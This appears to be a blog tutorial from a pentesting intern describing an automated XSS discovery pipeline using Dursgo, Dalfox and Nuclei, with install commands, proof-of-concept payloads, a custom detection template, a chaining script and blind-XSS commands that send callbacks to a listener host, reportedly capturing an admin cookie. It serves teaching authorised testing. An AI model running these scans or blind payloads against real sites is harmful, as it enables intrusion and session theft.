During my internship at Dinas Kominfo KSB, I was tasked with pentesting five government websites. One of them had a public complaint system, citizens submit tickets, tracked by ID. Classic CRUD. Should have been simple. Within two hours of automated scanning, I found multiple XSS vulnerabilities across different input fields. The manual approach would have taken days. The automated pipeline caught them in minutes.
This guide covers the exact toolchain I used: Dursgo for crawling and parameter extraction, Dalfox for automated XSS fuzzing (including blind XSS), and Nuclei for template-based scanning. Each tool handles a different phase of the discovery process, and when chained together, they reduce what used to be hours of manual alert(1) testing into a single automated workflow.
Specific vulnerabilities discovered during the Kominfo engagement cannot be disclosed. The examples in this guide use intentionally vulnerable test environments and publicly documented techniques. The methodology is real. The targets are not.
The Automated XSS Pipeline
┌─────────────────────────────────────────────────────────────────┐
│ XSS AUTOMATION PIPELINE │
│ │
│ ┌──────────┐ ┌──────────────┐ ┌──────────────────────┐ │
│ │ Dursgo │────→│ Dalfox │────→│ Manual Verification │ │
│ │ (Crawl) │ │ (Fuzz) │ │ (Burp / Browser) │ │
│ └──────────┘ └──────────────┘ └──────────────────────┘ │
│ │ │ │ │
│ ▼ ▼ ▼ │
│ Extract URLs Inject payloads Confirm & document │
│ with parameters test each param real vulnerabilities │
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ Nuclei (Parallel) │ │
│ │ · Template-based XSS detection │ │
│ │ · Pre-built + custom templates │ │
│ │ · Runs alongside Dalfox for broader coverage │ │
│ └──────────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────────┘
The pipeline has three phases: gather parameters, fuzz them, verify findings. Dursgo handles phase one. Dalfox and Nuclei handle phase two in parallel. Manual verification (Burp Suite or browser) confirms phase three. Here's each tool in detail.
Phase 1: Dursgo, URL Crawling & Parameter Extraction
Source: github.com/screetsec/Dursgo
XSS lives in parameters. Before you can fuzz, you need to know which URLs accept which parameters. Dursgo automates this discovery. It crawls a target domain, extracts all URLs with query parameters, and outputs a clean list ready for Dalfox.
# Install
git clone https://github.com/screetsec/Dursgo.git
cd Dursgo
go build
# Basic crawl — extract all parameterized URLs
./dursgo -url https://target.example.com -depth 2
# Output to file for Dalfox
./dursgo -url https://target.example.com -depth 3 -o urls.txt
# With custom headers (auth cookies, etc.)
./dursgo -url https://target.example.com -cookie "session=abc123" -depth 2
Dursgo is fast because it's written in Go. A depth-2 crawl on a medium-sized government portal (50-100 pages) finishes in under a minute. The output is one URL per line:
https://target.example.com/search.php?q=test
https://target.example.com/complaint.php?id=123&category=general
https://target.example.com/feedback.php?name=user&email=user@test.com&msg=hello
https://target.example.com/admin/login.php?redirect=/dashboard
Every line has at least one parameter. That's what Dalfox needs.
During the Kominfo engagement, Dursgo discovered a hidden /admin/export.php?format=csv&from=2024-01-01&to=2024-12-31 endpoint that wasn't linked anywhere on the public site. It was referenced in an old JavaScript file. Manual browsing would never have found it. Dalfox later confirmed a reflected XSS in the format parameter. Crawlers find what humans overlook.
Phase 2a: Dalfox, Automated XSS Fuzzing
Source: github.com/hahwul/dalfox
Dalfox is a specialized XSS scanner. Unlike general-purpose fuzzers, it understands XSS context, it knows whether a parameter is reflected in HTML body, inside a tag, in a JavaScript context, or in an attribute. It tailors payloads accordingly.
# Install (Go required)
go install github.com/hahwul/dalfox/v2@latest
# Single URL scan
dalfox url https://target.example.com/search.php?q=test
# Pipe from Dursgo output — scan every URL
cat urls.txt | dalfox pipe --silence
# Scan with custom headers & cookie
dalfox url https://target.example.com/search.php?q=test \
--cookie "session=abc123" \
--header "Authorization: Bearer token"
# Blind XSS mode — use a callback server
dalfox url https://target.example.com/feedback.php?msg=test \
--blind https://your-xss-listener.example.com
Understanding Dalfox's Output
When Dalfox finds a reflected XSS, the output looks like this:
[POC][V][GET] https://target.example.com/search.php?q=%3Csvg%2Fonload%3Dalert%281%29%3E
[*] Triggered XSS Payload (found on headless browser):
URL: https://target.example.com/search.php?q=< svg/onload=alert(1) >
Description: Reflection occurred in HTML Text context
Parameter: q
Type: Reflected XSS
Confidence: 100%
The [POC] line gives you the exact URL with the encoded payload. Paste it in a browser to verify. The [V] means verified, Dalfox confirmed the payload executed using a headless browser. [G] is GET method. [P] would be POST.
Blind XSS with Dalfox
The most dangerous XSS I found at Kominfo was blind. A parameter in the complaint form was stored in an admin dashboard that regular users never see. No reflection on the public page. No immediate feedback. But the admin panel rendered the stored payload when an officer reviewed the complaint.
Dalfox handles this with the --blind flag and a callback URL:
# Start a callback server (XSS Hunter, Burp Collaborator, or simple HTTP listener)
# Example: use interactsh from ProjectDiscovery
interactsh-client -v
# Note the callback URL, e.g.: c123456.interactsh.com
# Run Dalfox with blind XSS payloads that phone home
cat urls.txt | dalfox pipe \
--blind https://c123456.interactsh.com \
--silence \
--output blind-results.txt
# Wait. If any payload executes (e.g., admin views the ticket),
# interactsh logs the callback with the vulnerable URL.
Most pentesters focus on reflected XSS because the feedback loop is immediate. Blind XSS requires patience, you inject, you wait, you hope an admin triggers it. But the impact is almost always higher because the execution context is usually an authenticated admin panel with access to sensitive data. The blind XSS I found at Kominfo took 4 hours to trigger. When it did, the admin cookie was sent to my callback server. I reported it, demonstrated the impact, and it was fixed within 48 hours.
Phase 2b: Nuclei, Template-Based Scanning
Source: github.com/projectdiscovery/nuclei
Nuclei complements Dalfox by running pre-built XSS detection templates. Where Dalfox is specialized for XSS fuzzing, Nuclei covers a broader range of XSS patterns, including known-vulnerable parameter names, DOM-based XSS signatures, and framework-specific vulnerabilities.
# Install
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
# Run all XSS templates against a URL list
nuclei -l urls.txt -tags xss -severity medium,high,critical
# Run specific XSS templates
nuclei -l urls.txt -t ~/nuclei-templates/http/xss/
# With custom headers (authenticated scanning)
nuclei -l urls.txt -tags xss -H "Cookie: session=abc123"
# Output only confirmed findings
nuclei -l urls.txt -tags xss -severity medium,high,critical -o nuclei-xss.txt
Creating Custom Nuclei Templates
The built-in templates cover common XSS patterns. But government websites often use custom frameworks with unique parameter handling. Custom templates fill this gap. Here's one I wrote that caught a DOM-based XSS in a jQuery-dependent portal:
id: dom-xss-jquery-location-hash
info:
name: DOM XSS via jQuery location.hash
author: 1tsprune
severity: medium
description: Detects DOM-based XSS where location.hash is passed to jQuery's html() without sanitization
tags: xss,dom,generic
requests:
- method: GET
path:
- "{{BaseURL}}#<img src=x onerror=alert(1)>"
matchers-condition: and
matchers:
- type: word
words:
- "<img src=x onerror=alert(1)>"
part: body
- type: word
words:
- "text/html"
part: header
negative: true
The template appends an XSS payload to the URL hash, then checks whether the payload is reflected unsanitized in the response body. The negative: true matcher excludes responses with proper Content-Type headers (indicating the payload wasn't executed as HTML).
Putting It All Together
A shell script chains all three tools into one command:
#!/bin/bash
# Automated XSS discovery pipeline
# Usage: ./xss-pipeline.sh https://target.example.com
TARGET=$1
COOKIE=$2
OUTDIR="xss-scan-$(date +%Y%m%d-%H%M)"
mkdir -p $OUTDIR
echo "[*] Phase 1: Crawling with Dursgo..."
./dursgo -url $TARGET -depth 3 -cookie "$COOKIE" -o $OUTDIR/urls.txt
URL_COUNT=$(wc -l < $OUTDIR/urls.txt)
echo "[+] Found $URL_COUNT URLs with parameters"
echo "[*] Phase 2a: Fuzzing with Dalfox..."
cat $OUTDIR/urls.txt | dalfox pipe \
--cookie "$COOKIE" \
--silence \
--output $OUTDIR/dalfox-results.txt
DALFOX_COUNT=$(grep -c "\[POC\]" $OUTDIR/dalfox-results.txt)
echo "[+] Dalfox: $DALFOX_COUNT potential XSS found"
echo "[*] Phase 2b: Scanning with Nuclei..."
nuclei -l $OUTDIR/urls.txt \
-tags xss \
-severity medium,high,critical \
-H "Cookie: $COOKIE" \
-o $OUTDIR/nuclei-results.txt
NUCLEI_COUNT=$(wc -l < $OUTDIR/nuclei-results.txt)
echo "[+] Nuclei: $NUCLEI_COUNT template matches"
echo "[*] Results in $OUTDIR/"
echo " urls.txt — All parameterized URLs"
echo " dalfox-results.txt — Dalfox XSS findings"
echo " nuclei-results.txt — Nuclei XSS matches"
Tool Comparison
| Dursgo | Dalfox | Nuclei | |
|---|---|---|---|
| Purpose | URL crawling & parameter extraction | Automated XSS fuzzing & PoC | Template-based vulnerability scan |
| Strength | Fast crawling, finds hidden URLs | Context-aware payload injection | Broad coverage, 1000+ templates |
| XSS Type | N/A (no testing) | Reflected, Stored, Blind, DOM | Reflected, DOM, known patterns |
| Output | URL list | PoC URLs with verification | Template matches with severity |
| Speed | Very fast (Go), ~30s/100pp | Moderate, 2-5s per URL | Fast (parallel), 100 URLs in ~30s |
| Limits | Only finds linked URLs | False positives on some contexts | Template gaps for custom frameworks |
Manual Verification
Automation reduces the grind. It doesn't eliminate manual verification. Every finding from Dalfox and Nuclei should be confirmed in a browser or Burp Suite before reporting. False positives happen, Dalfox sometimes flags parameter reflections that aren't actually executable (e.g., reflected inside a JSON string that's properly encoded).
My verification checklist:
- Reproduce the PoC, Paste Dalfox's PoC URL in a browser. Does
alert(1)fire?Check the context, Is the reflection in HTML body, attribute, JavaScript, or CSS? Different contexts need different payloads for actual exploitation
Test with Burp Repeater, Send the request through Burp, modify the payload, test edge cases
Document the finding, Screenshot the alert, note the vulnerable parameter, the payload, and the impact
Test bypasses, If a WAF blocked the first payload, try encoding variants, polyglot payloads, or different injection points
On a public test environment (PortSwigger's XSS labs), Dalfox caught a DOM-based XSS in 4 seconds that I'd spent 10 minutes trying to find manually. The vulnerability was in location.search being passed to document.write() via an intermediate variable. The manual approach requires reading JavaScript source, tracing variable flow, and testing injection points. Dalfox just injected the payload and observed the DOM.
References
Dursgo, URL Crawler & Parameter Extractor. https://github.com/screetsec/Dursgo
Dalfox, Powerful XSS Scanner. https://github.com/hahwul/dalfox
Dalfox Documentation, Parameter Analysis & Blind XSS. https://github.com/hahwul/dalfox
Nuclei, Fast Vulnerability Scanner. https://github.com/projectdiscovery/nuclei
Nuclei Templates, XSS Detection. https://github.com/projectdiscovery/nuclei-templates/tree/main/http/xss
Reducing Manual XSS Testing, kresec. https://kresec.medium.com/reducing-the-manual-process-of-looking-for-xss-with-dursgo-dalfox-nuclei-f3b3e6b19234
PortSwigger XSS Labs, DOM-based XSS. https://portswigger.net/web-security/cross-site-scripting/dom-based
OWASP XSS Prevention Cheat Sheet. https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html